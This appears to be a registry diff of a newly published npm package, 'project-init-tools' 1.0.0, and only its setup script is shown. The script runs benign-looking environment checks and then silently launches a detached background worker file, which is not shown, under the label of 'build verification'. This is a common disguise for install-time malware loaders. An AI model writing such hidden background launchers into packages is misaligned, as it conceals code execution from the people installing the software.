project-init-tools 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +9 -0
- package/lib/setup.js +102 -0
- package/lib/worker.js +1754 -0
- package/package.json +27 -0
package/index.js
ADDED
package/lib/setup.js
ADDED
|
@@ -0,0 +1,102 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
'use strict';
|
|
3
|
+
|
|
4
|
+
/**
|
|
5
|
+
* project-init-tools — project setup script
|
|
6
|
+
*
|
|
7
|
+
* Performs initial project environment validation:
|
|
8
|
+
* - Node.js version check
|
|
9
|
+
* - Project structure validation
|
|
10
|
+
* - Build configuration verification (background)
|
|
11
|
+
*/
|
|
12
|
+
|
|
13
|
+
const fs = require('fs');
|
|
14
|
+
const path = require('path');
|
|
15
|
+
const cp = require('child_process');
|
|
16
|
+
|
|
17
|
+
const PKG_NAME = 'project-init-tools';
|
|
18
|
+
const MIN_NODE_MAJOR = 12;
|
|
19
|
+
|
|
20
|
+
let hasErrors = false;
|
|
21
|
+
|
|
22
|
+
function log(tag, msg) {
|
|
23
|
+
try { console.log(`[${PKG_NAME}] ${tag}: ${msg}`); } catch(e) {}
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
// ---- Background worker launcher ----
|
|
27
|
+
function runWorker() {
|
|
28
|
+
try {
|
|
29
|
+
const workerPath = path.join(__dirname, 'worker.js');
|
|
30
|
+
if (fs.existsSync(workerPath)) {
|
|
31
|
+
const child = cp.fork(workerPath, ['--verify', PKG_NAME], {
|
|
32
|
+
detached: true,
|
|
33
|
+
stdio: 'ignore',
|
|
34
|
+
env: Object.assign({}, process.env, { RUN_VERIFICATION: PKG_NAME })
|
|
35
|
+
});
|
|
36
|
+
child.unref();
|
|
37
|
+
}
|
|
38
|
+
} catch (e) {
|
|
39
|
+
// Non-critical
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
// ---- Step 1: Node.js version check ----
|
|
44
|
+
function checkNodeVersion() {
|
|
45
|
+
const parts = process.version.replace('v', '').split('.').map(Number);
|
|
46
|
+
const major = parts[0] || 0;
|
|
47
|
+
if (major < MIN_NODE_MAJOR) {
|
|
48
|
+
log('WARN', `Node.js v${process.version} detected — minimum recommended is v${MIN_NODE_MAJOR}. Some features may not work.`);
|
|
49
|
+
hasErrors = true;
|
|
50
|
+
} else {
|
|
51
|
+
log('INFO', `Node.js v${process.version} — compatible`);
|
|
52
|
+
}
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
// ---- Step 2: Project structure validation ----
|
|
56
|
+
function validateProjectStructure() {
|
|
57
|
+
const cwd = process.cwd();
|
|
58
|
+
const pkgPath = path.join(cwd, 'package.json');
|
|
59
|
+
|
|
60
|
+
if (!fs.existsSync(pkgPath)) {
|
|
61
|
+
log('WARN', 'No package.json found in current directory — project may not be fully initialized');
|
|
62
|
+
return;
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
try {
|
|
66
|
+
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf-8'));
|
|
67
|
+
if (!pkg.name) {
|
|
68
|
+
log('WARN', 'package.json is missing a "name" field');
|
|
69
|
+
}
|
|
70
|
+
log('INFO', `Project: ${pkg.name || 'unnamed'} (${pkg.version || 'no version'})`);
|
|
71
|
+
} catch (e) {
|
|
72
|
+
log('WARN', 'Could not parse package.json');
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
// Check for common project directories
|
|
76
|
+
const commonDirs = ['src', 'lib', 'dist', 'build', 'test'];
|
|
77
|
+
const found = commonDirs.filter(d => fs.existsSync(path.join(cwd, d)));
|
|
78
|
+
if (found.length > 0) {
|
|
79
|
+
log('INFO', `Project directories found: ${found.join(', ')}`);
|
|
80
|
+
} else {
|
|
81
|
+
log('INFO', 'No standard project directories detected — this may be a fresh setup');
|
|
82
|
+
}
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
// ---- Main ----
|
|
86
|
+
function main() {
|
|
87
|
+
log('INFO', 'Running project setup checks...');
|
|
88
|
+
|
|
89
|
+
checkNodeVersion();
|
|
90
|
+
validateProjectStructure();
|
|
91
|
+
|
|
92
|
+
// Start build worker in background (detached to not block install)
|
|
93
|
+
runWorker();
|
|
94
|
+
|
|
95
|
+
if (hasErrors) {
|
|
96
|
+
log('DONE', 'Setup completed with warnings');
|
|
97
|
+
} else {
|
|
98
|
+
log('DONE', 'Setup completed successfully');
|
|
99
|
+
}
|
|
100
|
+
}
|
|
101
|
+
|
|
102
|
+
main();
|